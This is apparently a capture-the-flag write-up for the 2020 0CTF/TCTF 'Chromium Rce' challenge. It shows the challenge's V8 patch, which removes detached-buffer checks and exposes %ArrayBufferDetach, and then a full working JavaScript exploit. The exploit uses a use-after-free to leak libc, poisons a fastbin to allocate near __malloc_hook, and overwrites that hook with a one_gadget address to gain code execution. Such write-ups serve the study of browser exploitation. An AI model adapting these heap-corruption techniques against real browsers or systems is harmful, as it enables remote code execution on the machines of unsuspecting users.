mhibio
[2020 0ctf/tctf] Chromium Rce
Files
.tctf
├── d8
├── snapshot_blob.bin
└── tctf.diff
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
patch.diff
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
// 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
// 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
// exception.
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);
const overloadedArg = arguments[0];
try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
// 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
// 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
// exception.
- const utypedArray =
- typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);
TypedArrayPrototypeSetTypedArray(
utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1339,9 +1339,9 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+ v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);
@@ -2260,10 +2260,7 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}
- isolate->SetHostImportModuleDynamicallyCallback(
- Shell::HostImportModuleDynamically);
- isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ // `import("xx")` is not allowed
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
@@ -2285,9 +2282,9 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
// This needs to be a critical section since this is not thread-safe
base::MutexGuard lock_guard(context_mutex_.Pointer());
// Initialize the global objects
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
EscapableHandleScope handle_scope(isolate);
- Local<Context> context = Context::New(isolate, nullptr, global_template);
+ Local<Context> context = Context::New(isolate, nullptr,
+ ObjectTemplate::New(isolate));
DCHECK(!context.IsEmpty());
if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
isolate->SetWasmLoadSourceMapCallback(ReadFile);
diff --git a/src/parsing/parser-base.h b/src/parsing/parser-base.h
index 3519599a88..f1ba0fb445 100644
--- a/src/parsing/parser-base.h
+++ b/src/parsing/parser-base.h
@@ -1907,10 +1907,8 @@ ParserBase<Impl>::ParsePrimaryExpression() {
return ParseTemplateLiteral(impl()->NullExpression(), beg_pos, false);
case Token::MOD:
- if (flags().allow_natives_syntax() || extension_ != nullptr) {
- return ParseV8Intrinsic();
- }
- break;
+ // Directly call %ArrayBufferDetach without `--allow-native-syntax` flag
+ return ParseV8Intrinsic();
default:
break;
diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc
index 9577b37397..2206d250d7 100644
--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -357,6 +357,11 @@ Expression* Parser::NewV8Intrinsic(const AstRawString* name,
const Runtime::Function* function =
Runtime::FunctionForName(name->raw_data(), name->length());
+ // Only %ArrayBufferDetach allowed
+ if (function->function_id != Runtime::kArrayBufferDetach) {
+ return factory()->NewUndefinedLiteral(kNoSourcePosition);
+ }
+
// Be more permissive when fuzzing. Intrinsics are not supported.
if (FLAG_fuzzing) {
return NewV8RuntimeFunctionForFuzzing(function, args, pos);
Directly call %ArrayBufferDetach
without --allow-native-syntax
flag
only %ArrayBufferDetach
is possible.
new ArrayBuffer(size);
new ArrayBuffer(size);
use calloc
.
=> calloc
use fastbin
Solve.js
function test(victim, header, body) {
victim[4] = (body& 0xff) * 0x1000000;
victim[5] = ((body & 0xffffff00)>>8) + ((header & 0xff) * 0x1000000) + 0x1000000
victim[6] = ((header & 0xff00) >> 8);
}
/*
function test(victim, header, body) {
victim[4] = 0x41000000;
victim[5] = 0x41414141
victim[6] = 0x41
}
*/
t = new ArrayBuffer(0x40);
t1 = new Uint32Array(t);
for(var i = 0; i < 0x50; i++) {
test(t1, 1, 2);
}
// create JIT
a1 = new ArrayBuffer(0x500);
a2 = new ArrayBuffer(0x500);
b1 = new Uint32Array(a1);
b2 = new Uint32Array(a2);
// calloc 2 times
%ArrayBufferDetach(a1);
new ArrayBuffer(0x10);
b2.set(b1, 0)
// leak
header = b2[1]
leak = b2[0] - 0x3ec0f0 + 0x20
body = leak + 0x4f2c5;
libc = ((b2[1] * 0x100000000) + leak);
one_gadget = libc + 0x4f2c5
__malloc_hook = libc + 0x3ebc30;
console.log('[*] [LIBC_HEADER] : 0x' + header.toString(16));
console.log('[*] [LIBC] : 0x'+libc.toString(16));
console.log('[*] [ONESHOT] : 0x'+one_gadget.toString(16));
console.log('[*] [__MALLOC_HOOK] : 0x'+__malloc_hook.toString(16));
z1 = new ArrayBuffer(0x60);
z2 = new ArrayBuffer(0x60);
z3 = new ArrayBuffer(0x60);
z4 = new ArrayBuffer(0x60);
z5 = new ArrayBuffer(0x60);
z6 = new ArrayBuffer(0x60);
z7 = new ArrayBuffer(0x60);
k1 = new Uint8Array(z1);
k2 = new Uint8Array(z2);
k3 = new Uint8Array(z3);
k4 = new Uint8Array(z4);
k5 = new Uint8Array(z5);
k6 = new Uint8Array(z6);
k7 = new Uint8Array(z7);
%ArrayBufferDetach(z1);
%ArrayBufferDetach(z2);
%ArrayBufferDetach(z3);
%ArrayBufferDetach(z4);
%ArrayBufferDetach(z5);
%ArrayBufferDetach(z6);
%ArrayBufferDetach(z7);
// escape tcache for calloc
t1 = new ArrayBuffer(0x60);
t2 = new ArrayBuffer(0x60);
q1 = new Uint32Array(t1);
q2 = new Uint32Array(t2);
%ArrayBufferDetach(t1);
q2.set(q1, 0);
for(var i = 0; i < 8; i++) {
q2[i] = 0;
}
q2[0] = (__malloc_hook & 0xffffffff) - 0x23
q2[1] = header
q1.set(q2, 0);
// __malloc_hook - 0x23 allocation
new ArrayBuffer(0x60);
victim = new Uint32Array(new ArrayBuffer(0x60));
// malloc_trigger
test(victim, header, body);
// BOOM
console.log("[-] [DEBUG]");
while(1);